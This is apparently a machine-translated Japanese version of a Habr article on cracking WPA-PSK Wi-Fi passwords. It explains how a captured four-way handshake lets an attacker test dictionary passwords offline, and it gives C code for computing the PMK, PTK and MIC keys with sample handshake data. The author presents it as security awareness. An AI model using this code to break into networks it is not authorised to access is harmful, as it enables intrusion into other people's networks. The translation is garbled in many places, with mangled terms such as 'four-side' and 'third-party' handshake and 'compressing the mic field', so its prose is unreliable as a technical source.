WPA-PSKハッキングアルゴリズムについて

こんにちは、Habrosociety様!

このトピックでは、共有キーモードWPA-PSK(より簡単に-WPA-PSKは、ほとんどのWi-Fiユーザーが使用する専用認証サーバーのないモードです)でのWi-Fiネットワークへの攻撃に関連するいくつかの微妙な問題を検討したいと思います。 、コンピューター間ネットワーク接続を作成する場合)。



なんでこんなこと?



インターネットの広大な地域では、このような攻撃の方法の説明と、半自動で実行するプログラムのダウンロード( aircrack-ngの鮮やかな例)の両方を見つけることができます。 しかし、これらのプログラムは、ほとんどの場合、ユーザーに一種のブラックボックスとして提示されます。これは、操作のマニュアルに従って動作する場合に適しています。



Habréの最近の記事では、このようなプログラムの1つに焦点を当て、レインボーテーブルの使用に言及しています(これは可能ですか?)。 私はロシア語でも敵国語でもネットワーク上の類似物を見たことがないので、この情報が役に立つことを願っています。



攻撃、仲間!



WPA-PSKモードでのネットワークに対する攻撃の本質は次のとおりです。ユーザー認証プロトコルの脆弱性を使用して(つまり、オープンデータ転送)、ネットワークから認証データを取得し、攻撃者の側で認証アルゴリズムを再現しますwiki、申し訳ありませんが、長いです )傍受したトラフィックの一部とパスワード(いわゆる共有キー)をソースデータとしてそれに置き換えます。 実際のパスワードは攻撃者に知られていないため、事前に作成された辞書からのパスワードが順番に選択されます。 認証アルゴリズムの再生中に「ユーザー認証の成功」が発生した場合、辞書から選択されたパスワードは真であり、攻撃によりネットワークハッキングが成功しました。 接続確立アルゴリズム(4サイドハンドシェイク)の詳細については、 元のソースを参照してください



森の奥へ行くほど、狼は怒る


さて、素晴らしい(または?) IEEE 802.11i標準のジャングルをさらに深く掘り下げ、4ウェイハンドシェイクアルゴリズムをさらに詳しく検討してみましょう。



モードの名前(「... with a shared key」)に基づいて、クライアントとアクセスポイント間の接続と通信を確立するプロセスで、何らかの「キー」(トラブル、ネイティブスピーチのトラブル)スキーム、つまりキーのセットが使用されると仮定するのは論理的です。一時的および静的の両方、トラフィックの暗号化、メッセージの整合性の検証などに使用されます さらに、キーの使用に関する合意は、4面ハンドシェイクの段階で正確に発生します。



攻撃者側でユーザー認証アルゴリズムを再現するには、4ウェイハンドシェイクパケットだけでなく、それによって編成されたネットワークに関するアクセスポイントのブロードキャストパケットからの情報も必要です(アクセスポイントビーコン、そのようなパケットのサインは送信者のMACアドレス== MAC-アクセスポイントアドレス(標準通知のbssid)、宛先MACアドレスはブロードキャストFF:FF:FF:FF:FF:FF)。 特に、このようなフレームからネットワーク名(標準通知のessid)を取得する必要があります。



4つのサードパーティハンドシェイクのメッセージ(チャネルレベルの4フレーム)には、次のコンテンツの情報フィールドが含まれています(攻撃アルゴリズムを再現するコードの後続の作成に必要なもののみを示します。詳細については、標準を参照してください)。

フレームが4ウェイハンドシェイクであることの兆候は、4ウェイハンドシェイクセクションのIEEE 802.11i規格で簡単に見つかります。



次に、接続確立アルゴリズムについて簡単に説明します。アクセスポイントとクライアントは上記のデータを交換します(ただし、それらだけではありません)。情報をオープンな(暗号化されていない)形式で送信します。 中間者攻撃を行う複雑さを排除するために、メッセージの整合性チェックが導入されました(2番目のフレームから開始!)ハッシュベースのメッセージオーサーシップ関数( HMAC )を静的キーだけでなくキーを使用してその内容によって計算することにより、つまり、パスワード(および実際にはそれからのハッシュ)だけでなく、接続が確立されたときにハンドシェイクの参加者によって生成された乱数とスヌース(およびそのハードウェアアドレスも使用されます)もあります。 その結果、クライアントとアクセスポイントの両方が互いの乱数を知っており、それらのパスワードは同じでなければならないため、メッセージ整合性キーは両側で一致します。 4つのハンドシェイクフレームの送信中に3つの正常性チェックの成功が記録された場合(デバイスがサポートされている動作モードに同意した場合)、アクセスポイントは有効なクライアントが接続されたと判断します。



上記の説明からわかるように、キー(パスワードまたは一時的な整合性検証キーのいずれも)は、ネットワーク上で明確な形式で送信されません。



公正な疑問が生じます-攻撃者はどのようにして切望された鍵を取得できますか?



ブラックボックス内


少し考えてみると、簡単な解決策が思い浮かびます-アルゴリズムがわかっていて、パスワード自体を除く入力データもわかっています。 だから、ウラジミール・イワノビッチ・ダールの辞書の棚にあるパスワードからランダム(まあ、完全にランダムではないかもしれませんが、彼らはまだ自分の役割を果たし、パスワードをgodgodに設定するなど)を選択することで、メッセージの整合性キーを計算することを妨げます。 数千回(または数百万回)間違えましょうが、遅かれ早かれフォーチュンはハリウッドの笑顔で私たちに微笑むかもしれず、計算された整合性キーは傍受されたキーと一致します。 そして、これはたった1つのことを意味します(ハッシュ関数の雪崩効果に関連して当てはまります)-ネットワークの作成に使用されるパスワードが開かれました!



最後にコード


だから、最後のジャーク。 ここで読む人は誰でも今すぐキャンディを手に入れるでしょう。



背後にある理論、実践に先立って。 最初に何をする価値がありますか? そうです、キーのセットを計算します。 また、WPA-PSKモードでは非常に小さいです。
  1. PMKマスターキー(ネットワーク名としてessidを使用して複数回ハッシュされたパスワード)。
  2. PTK転送キー(それを使用して、またはその一部を使用して、メッセージ整合性キーが計算されます)。
キーはどのように計算されますか? aircrack-ngソフトウェアパッケージのオープンソースコードは、これに役立ちます 。特に、 RFCを読んで科学的アプローチを熱望している人には役立ちます



ポイント1から始めましょう。



void calc_pmk( char *key, char *essid_pre, uchar pmk[40] ) { int i, j, slen; uchar buffer[65]; char essid[33+4]; SHA_CTX ctx_ipad; SHA_CTX ctx_opad; SHA_CTX sha1_ctx; memset(essid, 0, sizeof(essid)); memcpy(essid, essid_pre, strlen(essid_pre)); slen = strlen( essid ) + 4; /* setup the inner and outer contexts */ memset( buffer, 0, sizeof( buffer ) ); strncpy( (char *) buffer, key, sizeof( buffer ) - 1 ); for( i = 0; i < 64; i++ ) buffer[i] ^= 0x36; //SHA1_Init() initializes a SHA_CTX structure. SHA1_Init( &ctx_ipad ); //SHA1_Update() can be called repeatedly with chunks of the message to be hashed (len bytes at data). SHA1_Update( &ctx_ipad, buffer, 64 ); for( i = 0; i < 64; i++ ) buffer[i] ^= 0x6A; SHA1_Init( &ctx_opad ); SHA1_Update( &ctx_opad, buffer, 64 ); /* iterate HMAC-SHA1 over itself 8192 times */ essid[slen - 1] = '\1'; HMAC(EVP_sha1(), (uchar *)key, strlen(key), (uchar*)essid, slen, pmk, NULL); memcpy( buffer, pmk, 20 ); for( i = 1; i < 4096; i++ ) { memcpy( &sha1_ctx, &ctx_ipad, sizeof( sha1_ctx ) ); SHA1_Update( &sha1_ctx, buffer, 20 ); //SHA1_Final() places the message digest in md, which must have space for SHA_DIGEST_LENGTH == //20 bytes of output, and erases the SHA_CTX SHA1_Final( buffer, &sha1_ctx ); memcpy( &sha1_ctx, &ctx_opad, sizeof( sha1_ctx ) ); SHA1_Update( &sha1_ctx, buffer, 20 ); SHA1_Final( buffer, &sha1_ctx ); for( j = 0; j < 20; j++ ) pmk[j] ^= buffer[j]; } essid[slen - 1] = '\2'; HMAC(EVP_sha1(), (uchar *)key, strlen(key), (uchar*)essid, slen, pmk+20, NULL); memcpy( buffer, pmk + 20, 20 ); for( i = 1; i < 4096; i++ ) { memcpy( &sha1_ctx, &ctx_ipad, sizeof( sha1_ctx ) ); SHA1_Update( &sha1_ctx, buffer, 20 ); SHA1_Final( buffer, &sha1_ctx ); memcpy( &sha1_ctx, &ctx_opad, sizeof( sha1_ctx ) ); SHA1_Update( &sha1_ctx, buffer, 20 ); SHA1_Final( buffer, &sha1_ctx ); for( j = 0; j < 20; j++ ) pmk[j + 20] ^= buffer[j]; } }
      
      





実際、コードの90%はすでに遅れています。 ご覧のとおり、すべての操作は単純であり、 SHA-1はハッシュアルゴリズム、つまりOpenSSLで提供されるその実装として使用されます 。 パスワードをキーとしてではなく、それからのハッシュを使用する意味は2つあります-一方で、これはキーの長さを統一する方法です(標準によるパスワード自体の長さは8文字から63文字のASCII文字から変化する可能性があるため)軽量ブルートフォース攻撃を回避するためのキースキームを生成するためのアルゴリズムの複雑さ(これらは、コード内の4095反復の2サイクルです)。



ステップ2に進みます。ここで、一時キーを計算します(一時性の本質は、接続が確立されるたびに新しい2つの乱数snonceとanonceである)、その計算で使用されます。PTKキーは、送信されたフレームの整合性キーを計算するために使用されます ナンセンスとアノンスの番号に加えて、アクセスポイントとクライアントのMACアドレス、「ペアワイズキー拡張」(それらは同じものを思い付く)秘跡のフレーズ、そしてもちろん、プログラムのハイライトはPMKキーです。 これらのすべてのパラメーターのキーを作成する必要があるため、一方では時間制限があり(レインボーテーブルは今は役に立ちません)、他方では特定の機器に結び付けられ(中間者攻撃は複雑です)、そして間接的にではありますがPMKキー生成アルゴリズムをバイパスして取得できないため、計算可能です。



 void calc_ptk( uchar *pmk, uchar pke[100], uchar *ptk ) { /* compute the pairwise transient key*/ for (int i = 0; i < 4; i++) { pke[99] = i; HMAC(EVP_sha1(), pmk, 32, pke, 100, ptk + i * 20, NULL); } } void main() { uchar pmk[40]; //  32  uchar ptk[80]; uchar mic[20]; //  16  char *key = "12345678"; char essid_pre[32]; memset(essid_pre, 0, 32); memcpy(essid_pre, "Harkonen", 8); uchar bssid[6] = { 0x00, 0x14, 0x6c, 0x7e, 0x40, 0x80 }; uchar stmac[6] = { 0x00, 0x13, 0x46, 0xfe, 0x32, 0x0c }; uchar anonce[32] = { 0x22, 0x58, 0x54, 0xb0, 0x44, 0x4d, 0xe3, 0xaf, 0x06, 0xd1, 0x49, 0x2b, 0x85, 0x29, 0x84, 0xf0, 0x4c, 0xf6, 0x27, 0x4c, 0x0e, 0x32, 0x18, 0xb8, 0x68, 0x17, 0x56, 0x86, 0x4d, 0xb7, 0xa0, 0x55 }; uchar snonce[32] = { 0x59, 0x16, 0x8b, 0xc3, 0xa5, 0xdf, 0x18, 0xd7, 0x1e, 0xfb, 0x64, 0x23, 0xf3, 0x40, 0x08, 0x8d, 0xab, 0x9e, 0x1b, 0xa2, 0xbb, 0xc5, 0x86, 0x59, 0xe0, 0x7b, 0x37, 0x64, 0xb0, 0xde, 0x85, 0x70 }; uchar pke[100]; memset(pke, 0, 100); memcpy( pke, "Pairwise key expansion", 23 ); if( memcmp( stmac, bssid, 6 ) < 0 ) { memcpy( pke + 23, stmac, 6 ); memcpy( pke + 29, bssid, 6 ); } else { memcpy( pke + 23, bssid, 6 ); memcpy( pke + 29, stmac, 6 ); } if( memcmp( snonce, anonce, 32 ) < 0 ) { memcpy( pke + 35, snonce, 32 ); memcpy( pke + 67, anonce, 32 ); } else { memcpy( pke + 35, anonce, 32 ); memcpy( pke + 67, snonce, 32 ); } calc_pmk( key, essid_pre, pmk ); calc_ptk( pmk, pke, ptk ); }
      
      





コードも基本です。 まず、主に、上記のすべてのパラメーターを含むpke配列が形成され、次に4倍のHMAC計算が行われます。 さらに興味があるのは最初の16バイトだけです。



実際には、キーのセットの形成は完了しています。 残っているのは、4面ハンドシェイク(以前にマイクフィールドを圧縮した)のフレームのいずれかを使用してPTKを使用して整合性キーを計算し、結果を傍受したキーと比較することです。 整合性キーマイクを計算する関数は、次のコードに示されています。 ifステートメントのさまざまなブランチは、WPAおよびWPA2データ保護プロトコルのバージョンに対応しています。



 void calc_mic( int wpaKeyVer, uchar *ptk, uchar *eapol, size_t eapolSize, uchar *mic ) { if (wpaKeyVer == 1) HMAC(EVP_md5(), ptk, 16, eapol, eapolSize, mic, NULL); else HMAC(EVP_sha1(), ptk, 16, eapol, eapolSize, mic, NULL); }
      
      





ワーキングドラフトの例は、 ここから取得できます



明らかに、ブルートフォースによる本格的な攻撃を組織するには、辞書の各パスワードに対して上記のアルゴリズムを繰り返すだけです。



耳の中の考え


WPA / WPA2-PSKのユーザー認証アルゴリズムを分析すると、次の結論を導き出すことができます。キーを計算するこのアプローチでは、レインボーテーブルは無関係になり、辞書からパスワードを列挙する速度が前面に出ます。



しかし、次回については...



子供向けの試合はおもちゃではありません


このトピックは、無線Wi-Fiネットワークでの情報転送のセキュリティを強化するためにのみ、私の潜在意識の深部から噴火しました。 怠慢な個人が使用するハッキング手法を公開することで、ユーザーの幅広い層の知識レベルを高め、「言い聞かせてから、武装した!」



All Articles